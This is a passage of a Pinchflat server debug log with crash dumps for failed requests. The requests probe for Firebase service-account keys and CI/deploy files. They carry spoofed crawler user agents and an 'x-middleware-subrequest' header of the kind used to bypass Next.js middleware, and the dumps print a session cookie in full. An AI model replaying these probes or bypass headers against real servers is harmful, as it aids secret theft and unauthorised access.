:..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29626.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-adminsdk.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33808}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-adminsdk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29626.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-adminsdk.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33808}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, m (truncated) 16:49:06.731 [info] GET /firebase-service-account.json 16:49:06.731 [debug] QUERY OK source="settings" db=0.0ms idle=76.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.731 [debug] QUERY OK source="settings" db=0.0ms idle=21.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.731 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.731 [error] #PID<0.29629.0> running PinchflatWeb.Endpoint (connection #PID<0.29628.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /firebase-service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29628.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33810}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29629.0>, params: %{}, path_info: ["firebase-service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/firebase-service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YO2SY_3V9kABv7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29628.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33810}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29628.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33810}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:06.752 [info] GET /.gitlab-ci.yml 16:49:06.753 [debug] QUERY OK source="settings" db=0.0ms idle=43.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.753 [debug] QUERY OK source="settings" db=0.0ms idle=37.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.753 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.753 [error] #PID<0.29631.0> running PinchflatWeb.Endpoint (connection #PID<0.29630.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.gitlab-ci.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gitlab-ci (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29630.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gitlab-ci.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29631.0>, params: %{}, path_info: [".gitlab-ci"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.gitlab-ci.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YT_rSoLOqcABv7h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29630.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gitlab-ci.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gitlab-ci (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29630.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gitlab-ci.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_midd (truncated) 16:49:06.792 [info] GET /.github/workflows/deploy.yml 16:49:06.792 [debug] QUERY OK source="settings" db=0.1ms idle=76.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.792 [debug] QUERY OK source="settings" db=0.0ms idle=60.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.792 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.792 [info] GET /Dockerfile 16:49:06.792 [debug] QUERY OK source="settings" db=0.0ms idle=61.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.793 [debug] QUERY OK source="settings" db=0.1ms idle=39.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.793 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.792 [error] #PID<0.29633.0> running PinchflatWeb.Endpoint (connection #PID<0.29632.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.github/workflows/deploy.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.github/workflows/deploy (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29632.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.github/workflows/deploy.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33826}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29633.0>, params: %{}, path_info: [".github", "workflows", "deploy"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.github/workflows/deploy.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YdTdXLrIeEABv8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29632.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.github/workflows/deploy.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33826}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.github/workflows/deploy (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29632.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.github/workflows/deploy.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33826}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => 